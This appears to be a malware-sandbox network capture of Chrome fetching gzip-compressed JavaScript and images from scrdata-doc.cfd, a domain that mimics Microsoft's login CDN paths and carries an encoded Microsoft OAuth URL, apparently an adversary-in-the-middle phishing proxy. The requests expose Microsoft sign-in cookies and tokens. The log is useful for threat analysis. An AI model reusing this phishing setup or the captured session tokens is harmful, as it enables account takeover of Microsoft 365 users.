2024-04-26 12:37:32 UTC	1386	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:31 GMT Content-Type: application/x-javascript content-length: 190151 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 27 Oct 2022 14:24:13 GMT ETag: 0x8DAB826EBE74413 x-ms-request-id: d6c67a47-b01e-0049-80d6-97459c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123731Z-17859dc676bgfkhfc13vqt5mx000000004t000000001d0xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:32 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c da 34 29 2f 71 48 23 bc b2 44 db 4c b4 45 4b 9c 8c ac d1 81 c8 96 04 9b 04 18 00 94 ac 91 f8 df 9f aa ea 1d 04 28 29 c9 7d ef 7b 12 8b 40 a3 7a af ae ae ae ae c5 bf 89 93 51 7a d3 2c f8 98 4f 78 91 dd 9e dd f0 f3 69 34 fc fa 53 9e 26 d3 70 e9 d7 fb fb 93 d3 a0 39 9d e5 57 fe c9 c9 fa 29 3b 61 8c 5d cc 92 61 11 a7 89 cf 59 c1 92 e0 ce 9b e5 bc 91 17 59 3c 2c bc 6e d2 cc fc 22 60 49 73 e4 17 cc fb 35 1a cf f8 cf 50 81 c7 7c 9d 2d b8 cb 78 31 cb 92 46 d6 e4 f3 40 c3 f6 af 79 52 6c 47 05 4f 86 b7 35 e0 51 19 7c 9f 67 79 9c 63 16 5e 93 e5 dc ca 72 94 45 43 be cd af f9 b8 06 78 64 01 6f 4c a7 83 24 8f 2f af 8a 7c 33 cd aa 8b 8f 9d 16 bd 8b 72 5e 0b 6a 17 7d d6 ff 06 4d 1e f1 d1 20 Data Ascii: iwF0'W4)/qH#DLEK()}{@zQz,Oxi4S&p9W);a]aYY<,n"`Is5P\|-x1F@yRlGO5Q\|gyc^rECxdoL$/\|3r^j}M
2024-04-26 12:37:32 UTC	1386	IN	Data Raw: 0d 08 ce 9e 0b aa 1f 8b 11 3c 08 9b 78 48 97 78 46 a5 24 ab d9 bc 5e b4 ed cd 0b ab ad e8 df 24 ba fd 5b b7 2f b7 77 88 4f c2 67 46 4d 1f 0b 75 02 77 fb 58 84 c3 d5 d5 a1 d5 c7 aa bc 89 52 ee 73 55 63 12 54 51 9e 19 a5 98 4c 6c 9b aa 29 7f 81 0e 15 8b c8 b4 6e 6d b8 35 23 fc 77 92 1f 7d c2 7d 60 e9 5a 4e 05 80 55 57 16 ca 64 24 83 8f 7e c9 a2 18 6f be 60 b5 e3 f7 6b ee db cb 3a 66 b6 43 02 28 82 2d f7 ac 41 3e 33 02 d7 52 93 5d 5b 34 e4 fa 89 04 cc b0 a4 8b 56 fe 62 07 43 75 54 db 27 52 61 9c c6 98 e4 50 a6 06 44 5d 6a 06 b3 6a 82 95 ba 93 06 36 1c 95 4e f9 bb 66 f8 2c 4d 84 8f 0d 47 8a 26 24 6d ba 5f e8 23 82 5e ae 0b 25 99 5f 59 dc 77 52 b5 ef 64 61 dc 24 de 4f 1c 01 23 91 79 96 8d 51 e7 a8 6c 4b 13 34 8f 0f b6 c9 ce 5a 39 e8 80 15 a4 7c 3d 89 b6 fd 8f Data Ascii: <xHxF$^$[/wOgFMuwXRsUcTQLl)nm5#w}}`ZNUWd$~o`k:fC(-A>3R][4VbCuT'RaPD]jj6Nf,MG&$m_#^%_YwRda$O#yQlK4Z9\|=
2024-04-26 12:37:32 UTC	16384	IN	Data Raw: 95 a1 50 20 13 dc 09 ae 34 e2 7c 9d 30 c3 e4 c1 b6 9c ec e3 12 20 93 46 e3 3e 5b 03 ed 8f 67 c0 df fb 78 dd a8 ae 19 4d 00 1b f1 d1 0b 4a 7e 13 a6 94 dc 94 fe 24 50 2d cd 47 c7 3d 85 da e1 a9 62 8c 17 47 aa d5 45 78 07 f5 10 07 b4 78 d7 96 12 fa cd e1 40 53 82 00 82 12 ad ae 46 4d f9 c1 a7 c0 2f 64 02 06 d0 26 7a 72 65 91 74 91 31 d8 a2 52 17 e0 ac 82 55 04 66 ae 27 73 c2 f1 f4 4e 01 40 75 31 14 5d 18 6a c4 18 b2 35 15 0a d7 1f b2 c6 32 9c 55 a1 f8 e4 d6 c7 75 7d aa 14 55 21 35 ef fd 38 ba cc eb 7b 49 9f 4d 47 4b d0 e5 be d2 67 31 94 26 37 0c 28 1e c0 a4 59 3c 4b b5 71 c3 5c 85 c2 bd 2b ec d1 92 4d 17 61 b4 95 83 6f ef 6c 96 7c 4d d2 9b e4 cc 13 1e 9b 94 25 3b 59 f4 98 d7 35 b4 ba 8c f2 2b e1 55 59 58 bd d2 fc fe e1 bb b2 80 60 9e 8b 78 bc 40 3a 5d 23 d7 Data Ascii: P 4\|0 F>[gxMJ~$P-G=bGExx@SFM/d&zret1RUf'sN@u1]j52Uu}U!58{IMGKg1&7(Y<Kq\+Maol\|M%;Y5+UYX`x@:]#
2024-04-26 12:37:32 UTC	16384	IN	Data Raw: cc 68 6f b7 b7 64 ca dd ae 4a d9 e6 94 0f 04 97 4e a7 c2 f3 c0 0e a7 9c 5c a7 49 24 dd 09 ec 72 ca af 8c 88 09 2d 8c 1f 39 e5 34 9e a8 6a 9e 8b 84 db 42 a7 bc 10 4d 31 6e 5a 3c b6 5b a2 db 88 43 dd 12 3d 7d fb d7 30 69 b7 16 fa f8 3e ba 0a 07 54 7e cb df 9f e6 45 7a 1b a9 00 e4 6a 68 f2 b5 bd b5 69 c2 3f 35 45 44 aa 8f 69 2a f6 d3 1c ee fe 11 06 7b 48 f3 40 04 2d 47 ba a3 09 38 bc bd 8d 86 31 dc 16 6c 9b e0 50 7c 7f 9e e4 93 68 00 ab b6 21 cd b3 1c 6c 0b 77 e6 d6 26 55 73 2e 1e b6 90 b0 bb 4d 73 77 2e 1e 76 fc 37 e9 14 ca 0c bb 3e a8 0f 9a 1e 76 57 f0 dc 87 3a 00 b7 fb c2 84 90 d5 be 66 71 11 13 14 69 6f 9a 50 4f 16 3a 3e 3a a0 9e 1c 7c fc 78 fc 91 8a 7e de fb 78 74 78 f4 13 75 e5 f0 e8 ed f1 c7 0f 7b 67 87 c7 47 ed 2d 13 cc 11 ca 6d 0b 35 2b 02 4e 38 96 Data Ascii: hodJN\I$r-94jBM1nZ<[C=}0i>T~Ezjhi?5EDi*{H@-G81lP\|h!lw&Us.Msw.v7>vW:fqioPO:>:\|x~xtxu{gG-m5+N8
2024-04-26 12:37:32 UTC	11884	IN	Data Raw: e8 02 ed b7 1b 30 09 aa 8b f1 66 7d dd 87 be a5 89 29 6d ad 56 10 1e 45 fe f0 c5 b9 27 2d 54 f4 8d b9 67 48 81 d4 bd 69 12 41 b4 ab f6 4a a9 88 ba 2e f7 14 bf d4 b7 af c8 76 f5 ce 84 88 a4 94 5f fe db 53 02 7c b1 3a 29 cc e0 d4 b9 d5 53 c2 5a f1 1f e1 60 c9 b8 fe d9 5f a6 f1 1e 54 72 f7 2c d6 a6 25 92 b2 05 54 5c b4 7c f5 7c 28 37 70 f8 65 05 40 cc 2d 6c 6a bc cc 66 37 ee 9e 80 f9 cc fa e3 37 ef 09 3a dc 42 5c 16 d1 31 a2 c7 eb d1 b0 76 6c d1 e2 73 a3 67 88 37 5c 6a b0 71 e8 99 52 9f ad a4 04 19 38 94 39 82 75 69 60 e7 f4 5c 2a b4 a1 16 43 bd ad 52 4b 99 83 5a 36 cd 5a 4a ba 22 d3 d4 48 d1 25 4a 49 0a 37 39 2a 67 69 94 18 95 d1 95 a2 45 59 7e 67 31 04 91 52 b1 e0 10 44 c8 86 46 78 19 dd 79 81 ef 00 67 8c 2f 7c 47 71 b0 b5 45 aa 18 02 b8 0d 91 67 44 1e 8a Data Ascii: 0f})mVE'-TgHiAJ.v_S\|:)SZ`_Tr,%T\\|\|(7pe@-ljf77:B\1vlsg7\jqR89ui`\CRKZ6ZJ"H%JI79giEY~g1RDFxyg/\|GqEgD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49749	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:34 UTC	2754	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
2024-04-26 12:37:34 UTC	1406	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:34 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 3aeb44c5-a01e-007c-53cb-97e387000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123734Z-17949d75874s8bg2k6q7zb7a3s0000000ax0000000005e36 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:34 UTC	14978	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E]$\|zmk3h-SznuJ2V.tx~%Y
2024-04-26 12:37:34 UTC	1406	IN	Data Raw: c4 83 45 a5 d2 a7 c9 61 9f 24 3d 2b 31 6b 72 6b 95 a9 2b 79 ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc 39 29 c7 a0 ce 44 Data Ascii: Ea$=+1krk+yzxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY={(ka9)D
2024-04-26 12:37:34 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2024-04-26 12:37:34 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-?v QdNN:LtjAuZb2w'u0dH3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49750	52.96.165.130	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:34 UTC	712	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://6knvejjuzh3.scrdata-doc.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:35 UTC	1905	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: a642f753-b573-f591-0d5e-5e4f999a2419 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: DM6PR03CU003.internal.outlook.com X-BackEndHttpStatus: 200 Set-Cookie: ClientId=D3D7AA56144D46AFAE3CCBDB8DB93A83; expires=Sat, 26-Apr-2025 12:37:34 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=D3D7AA56144D46AFAE3CCBDB8DB93A83; expires=Sat, 26-Apr-2025 12:37:34 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Sat, 26-Oct-2024 12:37:34 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.7519.22&l:mouse; path=/; secure; HttpOnly X-CalculatedBETarget: DM6PR03MB4889.namprd03.prod.outlook.com X-BackEndHttpStatus: 200 X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS5 X-OWA-Version: 15.20.7519.21 X-OWA-DiagnosticsInfo: 2;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-04-26T12:37:34.964 X-BackEnd-End: 2024-04-26T12:37:34.964 X-DiagInfo: DM6PR03MB4889 X-BEServer: DM6PR03MB4889 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 200 X-FEProxyInfo: BN9PR03CA0221.NAMPRD03.PROD.OUTLOOK.COM X-FEEFZInfo: LYH X-FEServer: DM6PR03CA0077 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=LYH&RemoteIP=102.129.152.220"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: LYH X-FEServer: BN9PR03CA0221 Date: Fri, 26 Apr 2024 12:37:34 GMT Connection: close
2024-04-26 12:37:35 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html><html><head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49753	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:35 UTC	2794	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; 